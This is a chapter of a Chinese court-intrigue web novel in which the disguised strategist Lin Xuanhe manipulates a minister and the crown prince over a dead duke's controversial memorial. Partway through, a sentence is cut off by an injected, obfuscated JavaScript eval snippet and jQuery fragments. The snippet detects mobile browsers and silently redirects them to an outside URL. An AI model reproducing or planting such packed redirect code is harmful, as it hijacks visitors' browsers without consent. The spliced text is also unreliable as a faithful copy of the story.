“这……”高尚书脸上微沉,却依然一副恭谨模样,“求先生赐教。”
林暄和手指一弹,桌上的油灯倏忽亮起,桌面之上三个大字映入高家二人的眼帘。
“罪己诏。”
他们与黑影面对而坐,那三个字却是板板正正地正对着他们。
那字以水书就,笔画清晰,昏黄灯光落在上面,水迹便泛起微弱的光泽,只亮起片刻,那火苗便摇曳着重新熄灭了。
不知是何时写的。
高尚书在看水字,高忘津却一直盯着对面的人影,一瞬间亮起的光使他看到了对方浑身上下都包裹在一片黑色之中,不露一丝肌肤。
高尚书有些犹疑:“此举恐惹陛下大怒。”
林暄和淡淡道:“为社稷,为苍生。”
高尚书迟迟拿不定主意。
林暄和道:“此事毕,高大人会成为下一位国之柱石也说不定呢,一神落必有新神出,不是高大人,也会是王大人李大人,昭国势之所趋如此。”
高尚书想成为下一个卫国公,林暄和自然要推他一把。
高尚书沉默良久,终于起身:“多谢六合先生提点。”
林暄和没提点他什么,只是看出了他的野心,他恐怕早有想法,但忌惮圣威才犹疑至此。
林暄和披着六合的名头,给了他一副定心剂。
他们走后,林暄和将桌上水迹抹干净。
她缓缓倒了一杯茶,饮尽后,准备奔赴下一阵地。
推开房门,一阵寒风铺面而来,旋即肩上一沉,架了两片寒刃。
持刀之人未遮面容,门神一般站立两侧,语气无波无澜,带着轻微的死沉之气,“我们主子有请。”
“请?”林暄和伸指弹了弹几乎贴在她颈侧的寒刃。
这可不是请的态度。
那两个侍卫面色不善,却也没对她动手,双方一时僵持下来。
“放肆!怎可这样对待先生?”一道阴鸷低沉的嗓音忽而从隔壁传来。
下一刻,隔壁雅间的门大开,太子身着黑色压金暗纹常服,顶着一张阴柔面容走了出来。
“还举着呢?”一道邪肆的身影紧跟着太子走出,他腰间系带松散地绑着,襟口微敞。
两个侍卫这才放下手中兵刃。
“先生不肯来,孤便就先生。”齐怀瑾双手负于身后,缓缓踱步到圆桌后坐下。
他坐的是原本林暄和坐的位置。
刚坐下,不需要吩咐,两个侍卫便将桌上的油灯点上,出去合上了门。
廖惜文搭着林暄和的肩膀,带了点力道,半强硬地将她推到了齐怀瑾对面坐下。
他一手压着她的肩膀,另一手摁在桌子上,“据说先生算无遗策?可否给某算算姻缘?”
他微微俯着身,襟口大敞,从林暄和的角度看,里面的景色一览无余,结实的腰腹间还缠着绷带,上次在梵净山受的伤还没好全。
她只垂眸瞥了一眼,廖惜文便立刻察觉,将领口又撩开了些许,“喜欢?先生是女子?”
林暄和干脆道:“你们无缘。”
“我让你算姻缘,我说是和谁了吗?你就说我们无缘?晦气!”廖惜文拢着衣襟直起身,不给看了。
他袖子一挥,在太子身边冷酷地坐下了,一双眼睛乌沉沉地盯着她,瞧着满脸的怨气。
“问姻缘之人十成有九成心中已有了明确的对象。你心中那人,虽对你存有一丝情意,可她姻缘线不在你身上,你们注定……”
她说了那么多,廖惜文只听到一句话,“她心中果然有我!”
他转头又看了一眼太子,喜悦难掩,“那就够了!管她姻缘线在不在我身上,抢过来就是了!”
“只知硬抢。”太子淡淡瞥了他一眼,看向林暄和,“依先生看,除了抢,还有更好的方法吗?”
林暄和没急着回答,反问道:“殿下与廖公子跟了高大人一路,就为了找余算姻缘?”
太子没说话,廖惜文道:“当然不是。”
“宁拆十座庙,不毁一桩姻,这缺德事,余不接。”
廖惜文:“缺不缺德的这好说,爷回头在京都给你修十座……二十座庙,将先生当月老供上,专给你积桃花德!如何?”
“不接。余只答一问,想好再提。”
廖惜文自那日从东宫出来后便一直守着高家,谁知今日竟得来一意外之喜,竟跟着高家见到了六合先生。
高尚书刚刚毕恭毕敬走出门的姿态还历历在目,这老家伙有多狡猾他们都清楚,是以从见到林暄和起二人便没有一刻怀疑过她的身份。
廖惜文沉思片刻,终于问道,“《临终谏言疏》,何解?”
太子道:“以储君之立场。”
林暄和道:“卫国公侠义。”
谁知此话刺了太子逆鳞。
“孤体惜先生倾世之才,一直以礼相待,可先生若不配合,那孤只好先揭了你的面具,再将先生矜贵的舌头割下来,片了喂狗。”
林暄和抬眸,正对上太子睨来的目光,她从容道:“殿下果真想做乱世雄主不成?”
“放肆!”廖惜文一掌拍在桌上。
林暄和:“这是卫国公原话。”
廖惜文:“这话不对!”
林暄和:“对与错重要吗?”
齐怀瑾:“国公年已花甲,难免昏聩。”
廖惜文:“活着不说赶着死时说,搞死谏?死谏是这样吗?这老匹夫不知究竟是何动机!”
林暄和:“动机重要吗?”
太子皱眉。
廖惜文:“他只需一句话,昭国便因他而群激动荡,谁又知道是不是被什么人利用了!他不忠!”
林暄和:“忠奸重要吗?”
廖惜文:“对错不重要!动机不重要!连忠奸都不重要!那什么重要?”
林暄和又道:“卫国公,侠义。”
廖惜文彻底没脾气了。
齐怀瑾问道:“何解?”
林暄和耳濡目染,将林明湛的做派浸淫了十成十,她叹息一声,一副我看众人皆愚者的模样,缓缓说道:“国公此局,非为诽谤,实乃最后的进忠。”
太子看她的眼神越来越阴鸷,如果目光可以杀人,林暄和已死了上百次。
林暄和丝毫不惧,接着道:“国公深知一个完美的毫无瑕疵的忠臣形象将会为皇上和殿下都带来巨大都压力,他会成为一个后世臣子用来衡量甚至批判君主的完美标杆。他深知这一点,所以他在生命的最后一刻,故意在自己完美的金身之上凿出了一个巨大的瑕疵,便是这封争议巨大的《临终谏言疏》。”
太子听出一丝转机,神情稍缓。
林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281815|178118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暄和不懂政治,不了解朝堂斗争,可也正因如此,她能跳出那个非黑即白的框架,以一个全然置身事外的视角看待整件事。
她深谙人心。
当所有人都陷在忠奸对错的评判中时,林暄和看到了这份完美本身所带来的压迫感。
他知道皇帝最需要的是什么,不是一个死去的判官,而是一个能巩固自己权威同时又让自己显得伟大的工具。
而她正擅于讲故事。
林暄和继续说:“国公的目的是要成就一个更完美的君权,他用自己的污名化,来反衬皇上和殿下的宽容,他自愿走下神坛,变成一个有争议的臣子。这样一来,后世之君将不再活在他的阴影之下。
“皇上若能宽容这份奏疏,声望也将不降反升,百姓皆会歌颂皇上是位容纳逆耳忠言的旷世明君!他这是在用自己的身后之名,作为最后的进忠,换取君主不受束缚的权威和后世之清明!”
她为国公的行为赋予了一个更高尚更复杂的意志。
她为已故的卫国公、当今皇帝和储君共同编写了一个双方都能接受,甚至都能从中获益的新故事。
高尚书想成为继卫国公之后的新神,可有《临终谏言疏》先例在前,皇帝的下一步必然会是屠神。
太子终于满意,神情都缓和下来,主动纡尊给林暄和倒了一杯茶。
廖惜文拍手称赞,“明日朝堂之上有的论了!”
林暄和看他一眼,交代道:“这件事,最好由一个全然与此事无关的新人提出,所谓初生牛犊不怕虎,其他人只需附和就够了。”
廖惜文又问:“这话……找谁说合适呢?”
这可问住林暄和了。
她即便恶补了一番朝堂关系,可这么短的时间内也不能将朝堂新人名字性格行事作风都一一印记下来。
不过她只一个眨眼,便立即有了应对。
只见她嗤笑一声,学着林明湛的语气,毫不客气地斥道:“这也要余教你?明日的奏疏需不需要余帮你写了?”
廖惜文哑声。
任务完成,林暄和起身,目中无人地捋了捋衣摆,而后目不斜视地打开门,两柄刀刃交叉横在她面前。
“孤送先生。”太子的声音自身后响起。
“不必。”
两个侍卫放下兵刃,退至门侧,让开了道路。
林暄和功成身退。
她戴上斗篷,几乎将整个身体都包裹起来,一路走至绮云楼门口。
一脚刚刚跨过门槛,一道迅疾的身影与她擦肩而过。
隐约听到那人说着“先生来了这儿?高家怎么会……”
齐云逍来了。
林暄和不动声色地加快了步伐。
齐云逍跨了两步,忽然转头向后看了一眼。
林暄和转过小巷,确定身后无人跟踪,将身上的斗篷黑衣连带着面具一起团了。
黑衣之下是一套绛紫色的衣裙。
她走了一条街,忽而听到身后远远传来一声叫喊——
“林暄和?”
齐云逍追来了。
林暄和心下一跳,她脚步不停,也不敢回头。
街上行人不多,商贩零散,灯光昏暗。
“唔……!”
林暄和刚拐过一个街角,猛地被人从身后捂住嘴,拦腰拖进了一辆马车内。